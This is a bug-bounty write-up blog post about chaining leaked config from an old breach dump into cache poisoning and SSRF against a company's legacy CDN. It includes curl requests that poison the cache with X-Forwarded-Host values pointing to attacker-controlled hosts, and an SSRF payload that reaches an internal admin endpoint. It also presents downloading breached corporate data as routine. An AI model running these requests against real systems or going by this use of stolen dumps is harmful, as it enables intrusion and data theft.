I Followed the Data Trail — It Led Straight to a Production Server

I Followed the Data Trail — It Led Straight to a Production Server 📂🚪 | by Iski - Freedium Milestone: 20GB Reached We’ve reached 20GB of stored data — thank you for helping us grow! Patreon Ko-fi Liberapay Close < Go to the original I Followed the Data Trail — It Led Straight to a Production Server 📂🚪 Free Link 🎈 Iski Follow ~5 min read · March 24, 2026 (Updated: March 24, 2026) · Free: No Hey there!😁 I swear, sometimes bug bounty feels less like hacking and more like cleaning out someone else's messy room. You move one box… then another… and suddenly you're holding something you were definitely not supposed to see 😅 That night, I wasn't even "hunting seriously." Just poking around, killing time. And somehow… I walked straight into production. 404 to Root: How a Forgotten Subdomain Led to Server Takeover 🔍🏴‍☠️ H y there!😁inf infosecwriteups.com 🧠 It Started With Something Boring (Which Is Always a Red Flag) I was scrolling through some old breach dumps — nothing glamorous, just the usual mix of reused passwords and forgotten company data. Then I saw a file named: corpname_internal_backup_2021.zip Not "secret." Not "confidential." Just… boring. And if you've done bug bounty long enough, you know: The boring stuff is usually where people hide their biggest mistakes. So yeah, I downloaded it. 🚷 Forbidden but Not Forgotten: How an HTTP 403 Made Me a Superadmin 👑🔥 He there!😁info infosecwriteups.com 📂 Old Data, New Problems Inside the ZIP: /config/ app.env nginx.conf internal_routes.json The .env file caught my eye (it always does): cat app.env API_BASE=https://api-legacy.company.com CACHE_LAYER=https://edge-cache.companycdn.com INTERNAL_SERVICE=http://10.12.4.21:8080 Now here's the thing… Most people see this and think: "Old environment. Probably useless." I see this and think: "Let's see what they forgot to shut down." 👀 How I Turned a 403 Forbidden Into a Goldmine 🚀 ree Link🎈in infosecwriteups.com 🌐 Mapping What Still Exists First step — check if any of this is still alive. subfinder -d company.com -silent | tee subs.txt Then: grep -i "api\|cache\|legacy" subs.txt Got hits: api-legacy.company.com edge-cache.companycdn.com Quick check: httpx -l subs.txt -status-code And boom: api-legacy.company.com [200] edge-cache.companycdn.com [200] At this point I just leaned back and said: "Yeah… this is not going to end well." 😅 🍔 Secret Sauce in Robots.txt 🤫 — How I Found Hidden Admin Panels and Debug URLs H y there!😁inf infosecwriteups.com 🔍 The Cache Layer (aka Where Things Get Fun) That CACHE_LAYER value wasn't just sitting there for decoration. So I sent a simple request: curl -I https://edge-cache.companycdn.com Response headers: X-Cache: HIT Via: varnish Nice. A caching layer. And caching layers… love trusting things they shouldn't. How I Found My First High-Severity Bug and Got Rewarded with 3 Trays of Red Bull! Free link🎈i infosecwriteups.com 🧨 Not Your Typical Cache Poisoning Most beginners try query params and stop when nothing happens. This time, I focused on headers. I tested with: curl -H "X-Forwarded-Host: attacker.com" \ https://edge-cache.companycdn.com/api/v2/data Then a normal request right after: curl https://edge-cache.companycdn.com/api/v2/data The response started behaving… differently. GIF Not obvious at first, but enough to make me curious. How Recon → SQLi Made €€€€ Bounty Hi there…! infosecwriteups.com 🎯 The Endpoint That Changed Everything While browsing endpoints, I found this: /api/v2/export/report POST request. JSON input. { "type": "summary", "format": "pdf" } Pretty standard, right? Yeah… that's what I thought too. From Recon to RCE: How AI and a cup of Boost Helped Me Turn SQLi into a Command Injection Jackpot… Free Link🎈i infosecwriteups.com 🧠 Where Things Started Falling Apart I sent this: curl -X POST https://edge-cache.companycdn.com/api/v2/export/report \ -H "Content-Type: application/json" \ -H "X-Forwarded-Host: evil.com" \ -d '{"type":"summary","format":"pdf"}' And the response came back with: Location: https://evil.com/reports/generated/123.pdf I paused. Read it again. Then smiled. Because now I knew: 👉 The application was trusting that header 👉 And the cache might store that response 📸 Picture Perfect Exploit: How Image Uploads Turned Into Shell Access 🐚 H y there!😁inf infosecwriteups.com 💥 Confirming the Poison Next request: curl -I https://edge-cache.companycdn.com/api/v2/export/report X-Cache: HIT That was it. The response I influenced… was now cached. 💻🔓 From JS File to Jackpot: How I Found API Keys and Secrets Hidden in Production Code H y there!😁inf infosecwriteups.com ☠️ Turning It Into a Real Attack I repeated the request with my server: curl -X POST https://edge-cache.companycdn.com/api/v2/export/report \ -H "Content-Type: application/json" \ -H "X-Forwarded-Host: attacker-server.com" \ -d '{"type":"summary","format":"pdf"}' Now any user hitting that endpoint would get redirected to my controlled domain. But that wasn't even the best part. When Life Gave Me a 500 Error, I Found AWS Keys Instead! $$RF Free Link🎈i infosecwriteups.com 📂 The "Report" Was Not Just a Report The generated PDF? It contained: User identifiers Internal logs Hidden metadata with API tokens And it wasn't supposed to be public. The backend assumed: "If it comes from cache, it's safe." Yeah… about that. 🧬 One More Step (Because Why Not) Remember this from earlier? INTERNAL_SERVICE=http://10.12.4.21:8080 I tried adding a new field: { "type": "summary", "format": "pdf", "source": "http://10.12.4.21:8080/admin" } Sent it: curl -X POST https://edge-cache.companycdn.com/api/v2/export/report \ -H "Content-Type: application/json" \ -d '{"type":"summary","format":"pdf","source":"http://10.12.4.21:8080/admin"}' And yeah… The PDF came back with internal admin data. At this point, I just sat there for a second thinking: "How is this still happening in 2026?" 😶 How My Custom IDOR Hunter Made Me $50k (And Saved My Clicking Finger) 💰🖱️ F ee Link 🎈inf infosecwriteups.com 🕶️ The Dark Web Connection A few days later, I stumbled on another dump mentioning: "Old CDN routing still connected to internal services." That explained everything. This wasn't one mistake. It was layers of small "we'll fix it later" decisions… stacked together. 🔥 What Made This High Impact This wasn't just a single bug. It was a chain: Leaked config from old breach Active legacy infrastructure Cache poisoning via header confusion Sensitive data exposure Internal service access 🧠 What I Took From This Honestly, this bug didn't feel like "hacking." It felt like listening. Following small clues. Trusting weird instincts. Opening files others would ignore. And most importantly: Never assume old data is useless. Because sometimes… It's just waiting for someone curious enough to follow it. 🧾 Final Thought That ZIP file was created years ago. The server I hit was running today. Somewhere in between… nobody connected the dots. Until I did. And yeah… that's how a random late-night scroll turned into a production-level bug 💸 If you're reading this, next time you see a boring file name… Open it. Just don't blame me when it opens a door you weren't ready for 🚪😅 Thank you for reading! 🚀 Connect with Me! Instagram: @rev_shinchan Gmail: [email protected] # EnnamPolVazhlkai 😇 #BugBounty , #CyberSecurity , #InfoSec , #Hacking , #WebSecurity , #CTF . #bug-bounty #bug-bounty-tips #info-sec-writeups #hacking #cybersecurity Reporting a Problem Sometimes we have problems displaying some Medium posts. If you have a problem that some images aren't loading - try using VPN. Probably you have problem with access to Medium CDN (or fucking Cloudflare's bot detection algorithms are blocking you).